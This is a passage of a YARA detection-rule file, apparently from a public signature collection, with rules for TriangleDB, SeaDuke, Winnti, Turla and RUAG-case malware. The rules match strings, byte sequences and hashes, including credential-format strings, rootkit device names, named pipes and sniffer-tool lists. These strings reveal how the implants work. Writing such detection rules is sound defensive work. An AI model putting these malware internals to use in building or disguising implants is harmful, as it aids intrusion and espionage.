		description = "Detects TriangleDB implant found being used in Operation Triangulation on iOS devices (maybe also used on macOS systems)"
		author = "Florian Roth"
		reference = "https://securelist.com/triangledb-triangulation-implant/110050/"
		date = "2023-06-21"
		score = 80
		id = "d81a5103-41c8-5dba-a560-8fb5514f6c0a"

	strings:
		$s1 = "unmungeHexString" ascii fullword
		$s2 = "CRPwrInfo" ascii fullword
		$s3 = "CRConfig" ascii fullword
		$s4 = "CRXConfigureDBServer" ascii fullword

	condition:
		( uint16( 0 ) == 0xfacf and filesize < 30MB and $s1 and 2 of them ) or all of them
}

rule SeaDuke_Sample
{
	meta:
		description = "SeaDuke Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/MJ0c2M"
		date = "2015-07-14"
		score = 70
		hash = "d2e570129a12a47231a1ecb8176fa88a1bf415c51dabd885c513d98b15f75d4e"
		id = "011a303b-b051-519f-9687-668c9bcd15ca"

	strings:
		$s0 = "bpython27.dll" fullword ascii
		$s1 = "email.header(" ascii
		$s2 = "LogonUI.exe" fullword wide
		$s3 = "Crypto.Cipher.AES(" ascii
		$s4 = "mod is NULL - %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and all of them
}

rule Winnti_signing_cert
{
	meta:
		description = "Detects a signing certificate used by the Winnti APT group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/analysis/publications/72275/i-am-hdroot-part-1/"
		date = "2015-10-10"
		score = 75
		hash1 = "a9a8dc4ae77b1282f0c8bdebd2643458fc1ceb3145db4e30120dd81676ff9b61"
		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
		id = "0cf185eb-fb8d-5e1f-9089-4f36eb4798de"

	strings:
		$s1 = "Guangzhou YuanLuo Technology Co." ascii
		$s2 = "Guangzhou YuanLuo Technology Co.,Ltd" ascii
		$s3 = "$Asahi Kasei Microdevices Corporation0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of them
}

rule Winnti_malware_Nsiproxy
{
	meta:
		description = "Detects a Winnti rootkit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-10-10"
		score = 75
		hash1 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
		hash2 = "cf1e006694b33f27d7c748bab35d0b0031a22d193622d47409b6725b395bffb0"
		hash3 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
		hash4 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
		hash5 = "ba7ccd027fd2c826bbe8f2145d5131eff906150bd98fe25a10fbee2c984df1b8"
		id = "9b14541c-6077-5f3b-8f73-ff3d283bf209"

	strings:
		$x1 = "\\Driver\\nsiproxy" wide
		$a1 = "\\Device\\StreamPortal" wide
		$a2 = "\\Device\\PNTFILTER" wide
		$s1 = "Cookie: SN=" fullword ascii
		$s2 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
		$s3 = "Winqual.sys" fullword wide
		$s4 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" wide
		$s5 = "http://www.wasabii.com.tw 0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $x1 and 1 of ( $a* ) and 2 of ( $s* )
}

rule Winnti_malware_UpdateDLL
{
	meta:
		description = "Detects a Winnti malware - Update.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VTI research"
		date = "2015-10-10"
		score = 75
		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
		hash4 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
		id = "c6896191-d856-55f2-a47f-621a4f10d0c7"

	strings:
		$c1 = "'Wymajtec$Tima Stempijg Sarviges GA -$G2" fullword ascii
		$c2 = "AHDNEAFE1.sys" fullword ascii
		$c3 = "SOTEFEHJ3.sys" fullword ascii
		$c4 = "MainSYS64.sys" fullword ascii
		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
		$s2 = "Update.dll" fullword ascii
		$s3 = "\\\\.\\pipe\\usbpcex%d" fullword wide
		$s4 = "\\\\.\\pipe\\usbpcg%d" fullword wide
		$s5 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
		$s6 = "\\??\\pipe\\usbpcg%d" fullword wide
		$s7 = "\\??\\pipe\\usbpcex%d" fullword wide
		$s8 = "HOST: %s" fullword ascii
		$s9 = "$$$--Hello" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( ( 1 of ( $c* ) and 3 of ( $s* ) ) or all of ( $s* ) )
}

rule Winnti_malware_FWPK
{
	meta:
		description = "Detects a Winnti malware - FWPKCLNT.SYS"
		author = "Florian Roth (Nextron Systems)"
		reference = "VTI research"
		date = "2015-10-10"
		modified = "2023-01-06"
		score = 75
		hash1 = "1098518786c84b0d31f215122275582bdcd1666653ebc25d50a142b4f5dabf2c"
		hash2 = "9a684ffad0e1c6a22db1bef2399f839d8eff53d7024fb014b9a5f714d11febd7"
		hash3 = "a836397817071c35e24e94b2be3c2fa4ffa2eb1675d3db3b4456122ff4a71368"
		id = "591ad72d-b9d4-5cd9-9103-37e001026610"

	strings:
		$s0 = "\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" wide
		$s1 = "%x:%d->%x:%d, Flag %s%s%s%s%s, seq %u, ackseq %u, datalen %u" fullword ascii
		$s2 = "FWPKCLNT.SYS" fullword ascii
		$s3 = "Port Layer" fullword wide
		$s4 = "%x->%x, icmp type %d, code %d" fullword ascii
		$s5 = "\\BaseNamedObjects\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28E}" wide
		$s6 = "\\Ndi\\Interfaces" wide
		$s7 = "\\Device\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" wide
		$s8 = "Bad packet" fullword ascii
		$s9 = "\\BaseNamedObjects\\EKV0000000000" wide
		$s10 = "%x->%x" fullword ascii
		$s11 = "IPInjectPkt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 642KB and all of them
}

rule Winnti_malware_StreamPortal_Gen
{
	meta:
		description = "Detects a Winnti malware - Streamportal"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VTI research"
		date = "2015-10-10"
		score = 75
		hash1 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
		hash3 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
		id = "f9d31d6b-a6f7-5359-b741-960b678e0b9c"

	strings:
		$s0 = "Proxies destination address/port for TCP" fullword wide
		$s3 = "\\Device\\StreamPortal" wide
		$s4 = "Transport-Data Proxy Sub-Layer" fullword wide
		$s5 = "Cookie: SN=" fullword ascii
		$s6 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
		$s17 = "NTOSKRNL.EXE" fullword wide
		$s19 = "FwpsReferenceNetBufferList0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 275KB and all of them
}

import "pe"

rule WINNTI_KingSoft_Moz_Confustion
{
	meta:
		description = "Detects Barium sample with Copyright confusion"
		author = "Markus Neis"
		reference = "https://www.virustotal.com/en/file/070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496/analysis/"
		date = "2018-04-13"
		hash1 = "070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496"
		id = "0c45c1ff-6734-504f-91d1-cf5d6744252f"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( pe.imphash ( ) == "7f01b23ccfd1017249c36bc1618d6892" or ( pe.version_info [ "LegalCopyright" ] contains "Mozilla Corporation" and pe.version_info [ "ProductName" ] contains "Kingsoft" ) )
}

rule APT_Winnti_MAL_Dec19_1
{
	meta:
		description = "Detects Winnti malware"
		author = "Unknown"
		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
		date = "2019-12-06"
		score = 75
		id = "322e9362-bfb6-55e3-9a93-d54246311d11"

	strings:
		$e1 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii nocase
		$e2 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii nocase
		$e3 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii nocase
		$e4 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
		$e5 = "BFE_Notify_Event_{7D00FA3C-FBDC-4A8D-AEEB-3F55A4890D2A}" nocase

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( any of ( $e* ) )
}

rule APT_Winnti_MAL_Dec19_2
{
	meta:
		description = "Detects Winnti malware"
		author = "Unknown"
		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
		date = "2019-12-06"
		score = 75
		id = "77f2cb7d-90a6-5654-9d2e-6b525cd910a2"

	strings:
		$a1 = "IPSecMiniPort" wide fullword
		$a2 = "ndis6fw" wide fullword
		$a3 = "TCPIP" wide fullword
		$a4 = "NDIS.SYS" ascii fullword
		$a5 = "ntoskrnl.exe" ascii fullword
		$a6 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
		$a7 = "\\Device\\Null" wide
		$a8 = "\\Device" wide
		$a9 = "\\Driver" wide
		$b1 = { 66 81 7? ?? 70 17 }
		$b2 = { 81 7? ?? 07 E0 15 00 }
		$b3 = { 8B 46 18 3D 03 60 15 00 }

	condition:
		(6 of ( $a* ) ) and ( 2 of ( $b* ) )
}

rule APT_Winnti_MAL_Dec19_3
{
	meta:
		description = "Detects Winnti malware"
		author = "Unknown"
		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
		date = "2019-12-06"
		score = 75
		id = "2e001c91-0794-5940-ad8c-8e58a01e100c"

	strings:
		$b1 = { 0F B7 ?? 16 [0-1] (81 E? | 25) 00 20 [0-2] [8] 8B ?? 50 41 B9 40 00 00 00 41 B8 00 10 00 00 }
		$b2 = { 8B 40 28 [5-8] 48 03 C8 48 8B C1 [5-8] 48 89 41 28 }
		$b3 = { 48 6B ?? 28 [5-8] 8B ?? ?? 10 [5-8] 48 6B ?? 28 [5-8] 8B ?? ?? 14 }
		$b4 = { 83 B? 90 00 00 00 00 0F 84 [9-12] 83 B? 94 00 00 00 00 0F 84 }
		$b5 = { (45 | 4D) (31 | 33) C0 BA 01 00 00 00 [10-16] FF 5? 28 [0-1] (84 | 85) C0 }

	condition:
		(4 of ( $b* ) )
}

rule APT_Winnti_MAL_Dec19_4
{
	meta:
		description = "Detects Winnti malware"
		author = "Unknown"
		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
		date = "2019-12-06"
		score = 75
		id = "1f7ac215-d049-5b97-9797-9589a70cbf2b"

	strings:
		$b1 = { 4C 8D 41 24 33 D2 B9 03 00 1F 00 FF 9? F8 00 00 00 48 85 C0 74 }
		$b2 = { 4C 8B 4? 08 BA 01 00 00 00 49 8B C? FF D0 85 C0 [2-6] C7 4? 1C 01 00 00 00 B8 01 00 00 00 }
		$b3 = { 8B 4B E4 8B 53 EC 41 B8 00 40 00 00 4? 0B C? FF 9? B8 00 00 00 EB }

	condition:
		(2 of ( $b* ) )
}

rule APT_Winnti_MAL_Dec19_5
{
	meta:
		description = "Detects Winnti malware"
		author = "Unknown"
		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
		date = "2019-12-06"
		score = 75
		id = "2a8f28e6-5a01-5a2f-b89b-9c34163afcda"

	strings:
		$a1 = "-k netsvcs" ascii
		$a2 = "svchost.exe" ascii fullword
		$a3 = "%SystemRoot%\\System32\\ntoskrnl.exe" ascii
		$a4 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii
		$a5 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii
		$a6 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii
		$a7 = "cmd.exe" wide
		$a8 = ",XML" wide
		$a9 = "\\rundll32.exe" wide
		$a10 = "\\conhost.exe" wide
		$a11 = "\\cmd.exe" wide
		$a12 = "NtQueryInformationProcess" ascii
		$a13 = "Detours!" ascii fullword
		$a14 = "Loading modified build of detours library designed for MPC-HC player (http://sourceforge.net/projects/mpc-hc/)" ascii
		$a15 = "CONOUT$" wide fullword
		$a16 = { C6 0? E9 4? 8? 4? 05 [2] 89 4? 01 }

	condition:
		(12 of ( $a* ) )
}

rule APT_CN_Group_Loader_Jan20_1
{
	meta:
		description = "Detects loaders used by Chinese groups"
		author = "Vitali Kremez"
		reference = "https://twitter.com/VK_Intel/status/1223411369367785472?s=20"
		date = "2020-02-01"
		score = 80
		id = "c85ae499-4f76-56ff-877d-887e1a7fc077"

	strings:
		$xc1 = { 8B C3 C1 E3 10 C1 E8 10 03 D8 6B DB 77 83 C3 13 }

	condition:
		1 of them
}

rule winnti_dropper_x64_libtomcrypt_fns : TAU CN APT
{
	meta:
		author = "CarbonBlack Threat Research"
		date = "2019-08-26"
		description = "Designed to catch winnti 4.0 loader and hack tool x64"
		rule_version = 1
		yara_version = "3.8.1"
		Confidence = "Prod"
		Priority = "High"
		TLP = "White"
		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
		exemplar_hashes = "5ebf39d614c22e750bb8dbfa3bcb600756dd3b36929755db9b577d2b653cd2d1"
		sample_md5 = "794E127D627B3AF9015396810A35AF1C"
		id = "080d837c-248f-5718-b4a2-290495cd3b38"

	strings:
		$0x140001820 = { 48 83 EC 28 83 3D ?? ?? ?? ?? 00 }
		$0x140001831 = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
		$0x140001842 = { B8 0B 00 E0 0C 48 83 C4 28 C3 }
		$0x14000184c = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
		$0x140001881 = { B8 0C 00 E0 0C 48 83 C4 28 C3 }
		$0x14000188b = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
		$0x1400018e4 = { B8 0D 00 E0 0C 48 83 C4 28 C3 }
		$0x1400018ee = { 48 8D 0D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B8 A0 01 00 00 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 }
		$0x140001911 = { 33 C0 48 83 C4 28 C3 }
		$0x140001670 = { 40 55 56 57 41 55 41 56 41 57 B8 38 12 00 00 E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 10 12 00 00 48 8B AC 24 90 12 00 00 4C 8B B4 24 A0 12 00 00 45 33 FF 44 39 3D ?? ?? ?? ?? 49 8B F1 41 0F B7 F8 4C 8B EA 44 8B D9 66 44 89 7C 24 40 }
		$0x1400016c8 = { B8 01 00 E0 0C }
		$0x1400016d2 = { 48 89 9C 24 30 12 00 00 4D 85 C9 }
		$0x1400016ec = { 8B 9C 24 98 12 00 00 83 FB 01 }
		$0x1400016fc = { 48 8D 54 24 40 }
		$0x140001701 = { 4C 89 A4 24 28 12 00 00 E8 ?? ?? ?? ?? 44 0F B7 64 24 40 66 44 3B E7 }
		$0x140001727 = { 48 8D 54 24 40 41 8B CB E8 ?? ?? ?? ?? 0F B7 94 24 A8 12 00 00 66 39 54 24 40 }
		$0x140001750 = { 41 8B CB E8 ?? ?? ?? ?? 8B F8 83 F8 FF }
		$0x14000175f = { B8 0F 00 E0 0C }
		$0x140001764 = { 4C 8B A4 24 28 12 00 00 }
		$0x14000176c = { 48 8B 9C 24 30 12 00 00 }
		$0x140001774 = { 48 8B 8C 24 10 12 00 00 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 38 12 00 00 41 5F 41 5E 41 5D 5F 5E 5D C3 }
		$0x140001795 = { 48 8D 4C 24 54 33 D2 41 B8 B4 11 00 00 44 89 7C 24 50 E8 ?? ?? ?? ?? 48 8D 44 24 50 48 89 44 24 30 45 0F B7 CC 4D 8B C5 49 8B D6 8B CF 44 89 7C 24 28 44 89 7C 24 20 E8 ?? ?? ?? ?? 85 C0 }
		$0x1400017d5 = { 4C 8D 4C 24 50 44 8B C3 48 8B D5 48 8B CE E8 ?? ?? ?? ?? 48 8D 4C 24 50 8B D8 E8 ?? ?? ?? ?? 8B C3 }
		$0x1400017fb = { B8 04 00 E0 0C }
		$0x140001805 = { B8 03 00 E0 0C }
		$0x14000180f = { B8 02 00 E0 0C }

	condition:
		all of them
}

rule winnti_dropper_x86_libtomcrypt_fns : TAU CN APT
{
	meta:
		author = "CarbonBlack Threat Research"
		date = "2019-08-26"
		description = "Designed to catch winnti 4.0 loader and hack tool x86"
		rule_version = 1
		yara_version = "3.8.1"
		confidence = "Prod"
		oriority = "High"
		TLP = "White"
		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
		exemplar_hashes = "0fdcbd59d6ad41dda9ae8bab8fad9d49b1357282027e333f6894c9a92d0333b3"
		sample_md5 = "da3b64ec6468a4ec56f977afb89661b1"
		id = "48e7a3b0-55c7-5db5-855f-1614bd00afb4"

	strings:
		$0x401d20 = { 8B 0D ?? ?? ?? ?? 33 C0 85 C9 }
		$0x401d30 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 ?? }
		$0x401d46 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 10 83 F8 ?? }
		$0x401d76 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 1C 83 F8 ?? }
		$0x401dc4 = { 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 33 C0 F3 A5 5F C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 5E C3 }
		$0x401bd0 = { 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 56 57 85 C0 C7 45 FC ?? ?? ?? ?? }
		$0x401bf4 = { 8B 45 14 85 C0 }
		$0x401bff = { 8B 45 18 85 C0 }
		$0x401c14 = { 8B 7D 08 8D 45 FC 50 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 08 66 }
		$0x401c31 = { 8B 45 0C 85 C0 }
		$0x401c3c = { 8D 4D FC 51 57 E8 ?? ?? ?? ?? 66 8B 55 FC 83 C4 08 66 3B 55 24 }
		$0x401c57 = { 8B 5D 20 85 DB }
		$0x401c62 = { 57 E8 ?? ?? ?? ?? 8B D0 83 C4 04 83 FA ?? }
		$0x401c72 = { B9 ?? ?? ?? ?? 33 C0 8D BD 48 EE FF FF C7 85 44 EE FF FF ?? ?? ?? ?? F3 AB 8B 4D 0C 8D 85 44 EE FF FF 50 6A ?? 81 E6 FF FF 00 00 6A ?? 56 51 53 52 E8 ?? ?? ?? ?? 83 C4 1C 85 C0 }
		$0x401caf = { 8B 45 1C 8B 4D 18 8D 95 44 EE FF FF 52 8B 55 14 50 51 52 E8 ?? ?? ?? ?? 8B F0 8D 85 44 EE FF FF 50 E8 ?? ?? ?? ?? 83 C4 14 8B C6 5F 5E 5B 8B E5 5D C3 }
		$0x401ce1 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401ced = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401cf9 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401d05 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401d16 = { 5F 5E 5B 8B E5 5D C3 }

	condition:
		all of them
}

rule Turla_APT_srsvc
{
	meta:
		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		family = "Turla"
		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
		date = "2016-06-09"
		hash1 = "65996f266166dbb479a42a15a236e6564f0b322d5d68ee546244d7740a21b8f7"
		hash2 = "25c7ff1eb16984a741948f2ec675ab122869b6edea3691b01d69842a53aa3bac"
		id = "951ee9f8-1ab0-5fd5-be9b-053ec82f6ea2"

	strings:
		$x1 = "SVCHostServiceDll.dll" fullword ascii
		$s2 = "msimghlp.dll" fullword wide
		$s3 = "srservice" fullword wide
		$s4 = "ModStart" fullword ascii
		$s5 = "ModStop" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and ( 1 of ( $x* ) or all of ( $s* ) ) ) or ( all of them )
}

rule Turla_APT_Malware_Gen1
{
	meta:
		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		family = "Turla"
		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
		date = "2016-06-09"
		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
		hash5 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
		hash6 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
		hash7 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
		hash8 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
		hash9 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
		hash10 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
		id = "7ead2da1-3544-5a26-8767-6d3f29de8b96"

	strings:
		$x1 = "too long data for this type of transport" fullword ascii
		$x2 = "not enough server resources to complete operation" fullword ascii
		$x3 = "Task not execute. Arg file failed." fullword ascii
		$x4 = "Global\\MSCTF.Shared.MUTEX.ZRX" fullword ascii
		$s1 = "peer has closed the connection" fullword ascii
		$s2 = "tcpdump.exe" fullword ascii
		$s3 = "windump.exe" fullword ascii
		$s4 = "dsniff.exe" fullword ascii
		$s5 = "wireshark.exe" fullword ascii
		$s6 = "ethereal.exe" fullword ascii
		$s7 = "snoop.exe" fullword ascii
		$s8 = "ettercap.exe" fullword ascii
		$s9 = "miniport.dat" fullword ascii
		$s10 = "net_password=%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 2 of ( $x* ) or 8 of ( $s* ) ) ) or ( 12 of them )
}

rule RUAG_APT_Malware_Gen2
{
	meta:
		description = "Detects malware used in the RUAG APT case"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
		date = "2016-06-09"
		modified = "2023-01-06"
		score = 90
		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
		id = "8a50e5d5-f16d-53c7-825c-a8e51c207eac"

	strings:
		$x1 = "Internal command not support =((" ascii
		$x2 = "L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|" fullword ascii
		$x3 = "L|-1|CreateProcessAsUser():%d, %s|" fullword ascii
		$x4 = "AS_CUR_USER:OpenProcessToken():%d" fullword ascii
		$x5 = "L|-1|AS_CUR_USER:LogonUser():%d, %s|" fullword ascii
		$x6 = "L|-1|try to run dll %s with user priv|" fullword ascii
		$x7 = "\\\\.\\Global\\PIPE\\sdlrpc" fullword ascii
		$x8 = "\\\\%s\\pipe\\comnode" fullword ascii
		$x9 = "Plugin dll stop failed." fullword ascii
		$x10 = "AS_USER:LogonUser():%d" fullword ascii
		$s1 = "MSIMGHLP.DLL" fullword wide
		$s2 = "msimghlp.dll" fullword ascii
		$s3 = "ximarsh.dll" fullword ascii
		$s4 = "msximl.dll" fullword ascii
		$s5 = "INTERNAL.dll" fullword ascii
		$s6 = "\\\\.\\Global\\PIPE\\" ascii
		$s7 = "ieuser.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or 5 of ( $s* ) ) ) or ( 10 of them )
}

rule Turla_APT_Malware_Gen3
{
	meta:
		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		family = "Turla"
		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
		date = "2016-06-09"
		hash1 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
		hash2 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
		hash3 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
		hash4 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
		hash5 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
		hash6 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
		hash7 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
		hash8 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
		hash9 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
		id = "8cb7d873-e4f9-553e-84e8-dbc0d31f65ab"

	strings:
		$x1 = "\\\\.\\pipe\\sdlrpc" fullword ascii
		$x2 = "WaitMutex Abandoned %p" fullword ascii
		$x3 = "OPER|Wrong config: no port|" fullword ascii
		$x4 = "OPER|Wrong config: no lastconnect|" fullword ascii
		$x5 = "OPER|Wrong config: empty address|" fullword ascii
		$x6 = "Trans task %d obj %s ACTIVE fail robj %s" fullword ascii
		$x7 = "OPER|Wrong config: no auth|" fullword ascii
		$x8 = "OPER|Sniffer '%s' running... ooopppsss...|" fullword ascii
		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform" fullword ascii
		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Pre Platform" fullword ascii
		$s3 = "www.yahoo.com" fullword ascii
		$s4 = "MSXIML.DLL" fullword wide
		$s5 = "www.bing.com" fullword ascii
		$s6 = "%s: http://%s%s" fullword ascii
